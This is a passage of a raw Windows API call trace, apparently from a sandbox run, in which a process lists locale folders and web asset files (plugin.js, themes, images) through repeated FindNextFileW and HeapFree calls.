ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0272.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0272.509] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0272.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3506b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0272.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0272.510] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0272.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0272.519] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0273.067] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.067] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0273.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0273.184] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="empty.png", cAlternateFileName="")) returned 1 [0273.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0273.629] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0273.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0273.630] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0273.630] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.630] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0273.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0273.632] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0273.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0273.632] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0273.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0273.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0273.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0273.635] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0273.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2da30 | out: lpFindFileData=0x3b2da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0273.636] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0273.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0273.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2da30 | out: lpFindFileData=0x3b2da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0273.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0273.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0273.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 